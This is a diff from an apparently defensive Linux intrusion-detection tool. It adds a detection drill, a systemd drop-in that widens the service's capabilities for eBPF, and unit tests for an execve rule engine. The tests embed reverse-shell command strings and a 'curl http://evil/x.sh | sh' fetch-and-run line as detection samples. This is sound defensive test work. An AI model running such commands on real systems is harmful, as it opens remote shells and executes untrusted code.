requires-python = ">=3.11" requires-python = ">=3.11"

View file

@ -110,6 +110,18 @@ drill_persistence() {
echo " -> wrote $SANDBOX/authorized_keys" echo " -> wrote $SANDBOX/authorized_keys"
} }
drill_ebpf_exec() {
note ebpf_exec "short-lived /tmp exec + reverse-shell-pattern argv (only the eBPF monitor catches these)"
cp /bin/true "$TMP/enodia-drill-exec" 2>/dev/null
"$TMP/enodia-drill-exec" # runs and exits in <1ms — the poll loop can't see it (sid 100001)
# argv carries a /dev/tcp pattern -> sid 100002 (connects to discard:9, harmless)
( exec -a enodia-drill-revsh bash -c 'cat < /dev/tcp/127.0.0.1/9 2>/dev/null; true' ) &
PIDS+=("$!")
echo " -> fired a short-lived /tmp exec (sid 100001) and a /dev/tcp argv (sid 100002)"
echo " NOTE: needs the eBPF monitor (run the service as root). With polling only"
echo " these vanish between sweeps — which is exactly what the eBPF layer fixes."
}
run() { run() {
case "$1" in case "$1" in
reverse_shell) drill_reverse_shell ;; reverse_shell) drill_reverse_shell ;;
@ -118,11 +130,12 @@ run() {
new_listener) drill_new_listener ;; new_listener) drill_new_listener ;;
new_suid) drill_new_suid ;; new_suid) drill_new_suid ;;
persistence) drill_persistence ;; persistence) drill_persistence ;;
ebpf_exec) drill_ebpf_exec ;;
*) echo "unknown drill: $1" >&2; return 1 ;; *) echo "unknown drill: $1" >&2; return 1 ;;
esac esac
} }
ALL=(reverse_shell ld_preload deleted_exe new_listener new_suid persistence) ALL=(reverse_shell ld_preload deleted_exe new_listener new_suid persistence ebpf_exec)
if [ "${1:-}" = "--list" ]; then printf '%s\n' "${ALL[@]}"; exit 0; fi if [ "${1:-}" = "--list" ]; then printf '%s\n' "${ALL[@]}"; exit 0; fi
@ -135,11 +148,14 @@ echo "######################################################################"
if [ "$#" -gt 0 ]; then targets=("$@"); else targets=("${ALL[@]}"); fi if [ "$#" -gt 0 ]; then targets=("$@"); else targets=("${ALL[@]}"); fi
for d in "${targets[@]}"; do run "$d"; done for d in "${targets[@]}"; do run "$d"; done
echo -e "\n[*] drills live for ${HOLD}s. Triggering a Sentinel sweep check now:" echo -e "\n[*] drills live for ${HOLD}s. Run a one-shot poll check now:"
if [ -x /usr/local/bin/sentinel.sh ]; then if command -v enodia-sentinel >/dev/null 2>&1; then
sudo /usr/local/bin/sentinel.sh --check 2>/dev/null \ enodia-sentinel check 2>/dev/null | grep -i 'drill\|/tmp/enodia' \
| grep -i drill && echo " ^ Sentinel saw the drills." \ && echo " ^ Sentinel's poll detectors saw the drills." \
|| echo " (run 'sudo sentinel.sh --check' yourself, or watch events.log)" || echo " (no poll hits yet — watch /var/log/enodia-sentinel/events.log)"
else
echo " (enodia-sentinel not on PATH — watch /var/log/enodia-sentinel/events.log)"
fi fi
echo " The 'ebpf_exec' drill only shows up with the eBPF monitor (service as root)."
echo "[*] holding for ${HOLD}s, then cleaning up..." echo "[*] holding for ${HOLD}s, then cleaning up..."
sleep "$HOLD" sleep "$HOLD"

View file

@ -0,0 +1,17 @@
# Drop-in to enable the eBPF execve monitor.
# Install as: /etc/systemd/system/enodia-sentinel.service.d/ebpf.conf
#
# The base unit is hardened for poll-only operation. bcc (the eBPF frontend)
# JIT-compiles its programs at load time and loads/attaches BPF, which the base
# unit's MemoryDenyWriteExecute and minimal capability set deliberately forbid.
# This drop-in relaxes exactly those, and nothing else — a conscious tradeoff:
# the event layer's value (catching short-lived processes) in exchange for a
# wider privilege surface. If you don't need it, don't install this file.
[Service]
# bcc compiles eBPF to native code at runtime -> needs write+exec memory.
MemoryDenyWriteExecute=no
# CAP_BPF/CAP_PERFMON: load BPF + open perf buffers. CAP_SYS_ADMIN: attach
# kprobes on many kernels. CAP_SYS_RESOURCE: raise the locked-memory limit.
AmbientCapabilities=CAP_SYS_PTRACE CAP_DAC_READ_SEARCH CAP_BPF CAP_PERFMON CAP_SYS_ADMIN CAP_SYS_RESOURCE
CapabilityBoundingSet=CAP_SYS_PTRACE CAP_DAC_READ_SEARCH CAP_BPF CAP_PERFMON CAP_SYS_ADMIN CAP_SYS_RESOURCE

101
tests/test_exec_rules.py Normal file
View file

@ -0,0 +1,101 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Tests for the Snort-style execve rule engine (pure, no kernel needed)."""
import unittest
from enodia_sentinel.alert import Severity
from enodia_sentinel.events.exec_event import ExecEvent
from enodia_sentinel.events.rules import (
DEFAULT_EXEC_RULES,
ExecRule,
ExecRuleEngine,
)
def ev(filename="/usr/bin/ls", argv=(), parent="bash", pid=10, ppid=9, uid=0):
return ExecEvent(pid=pid, ppid=ppid, uid=uid, parent_comm=parent,
filename=filename, argv=tuple(argv))
class TestExecEvent(unittest.TestCase):
def test_derived_fields(self):
e = ev(filename="/tmp/x", argv=("-c", "echo hi"))
self.assertEqual(e.exec_comm, "x")
self.assertEqual(e.argv_str, "/tmp/x -c echo hi")
class TestDefaultRules(unittest.TestCase):
def setUp(self):
self.engine = ExecRuleEngine()
def sids(self, e):
return {a.sid for a in self.engine.match(e)}
def test_fileless_tmp_exec(self):
self.assertIn(100001, self.sids(ev(filename="/tmp/.x/dropper")))
self.assertIn(100001, self.sids(ev(filename="/dev/shm/payload")))
def test_normal_path_no_fileless(self):
self.assertNotIn(100001, self.sids(ev(filename="/usr/bin/python3")))
def test_reverse_shell_devtcp(self):
e = ev(filename="/bin/bash",
argv=("-c", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"))
self.assertIn(100002, self.sids(e))
def test_reverse_shell_python(self):
e = ev(filename="/usr/bin/python3",
argv=("-c", "import socket,os,pty;s=socket.socket();pty.spawn('/bin/sh')"))
self.assertIn(100002, self.sids(e))
def test_benign_command_no_reverse_shell(self):
self.assertNotIn(100002, self.sids(ev(filename="/usr/bin/ls", argv=("-la",))))
def test_web_rce_shell_from_nginx(self):
e = ev(filename="/bin/sh", parent="nginx", argv=("-c", "id"))
sids = self.sids(e)
self.assertIn(100003, sids)
def test_web_rce_requires_interpreter_child(self):
# nginx spawning a normal helper is not an interpreter -> no web-rce
e = ev(filename="/usr/bin/convert", parent="nginx")
self.assertNotIn(100003, self.sids(e))
def test_login_shell_not_web_rce(self):
# sshd spawning bash is a normal login, not in the web/db server set
e = ev(filename="/bin/bash", parent="sshd")
self.assertNotIn(100003, self.sids(e))
def test_curl_pipe_sh(self):
e = ev(filename="/bin/sh",
argv=("-c", "curl http://evil/x.sh | sh"))
self.assertIn(100004, self.sids(e))
def test_severities(self):
sev = {r.sid: r.severity for r in DEFAULT_EXEC_RULES}
self.assertEqual(sev[100001], Severity.CRITICAL)
self.assertEqual(sev[100002], Severity.CRITICAL)
self.assertEqual(sev[100004], Severity.HIGH)
def test_alert_carries_sid_and_classtype(self):
e = ev(filename="/tmp/x")
alert = next(iter(self.engine.match(e)))
self.assertEqual(alert.sid, 100001)
self.assertEqual(alert.classtype, "fileless-execution")
self.assertEqual(alert.pids, (e.pid,))
class TestRuleValidation(unittest.TestCase):
def test_rule_with_no_conditions_rejected(self):
with self.assertRaises(ValueError):
ExecRule(sid=999, msg="x", severity=Severity.HIGH, classtype="y")
def test_parent_exclude(self):
rule = ExecRule(sid=1, msg="m", severity=Severity.HIGH, classtype="c",
exec_comm=frozenset({"bash"}),
parent_exclude=frozenset({"sshd"}))
self.assertTrue(rule.matches(ev(filename="/bin/bash", parent="cron")))
self.assertFalse(rule.matches(ev(filename="/bin/bash", parent="sshd")))
if __name__ == "__main__":
unittest.main()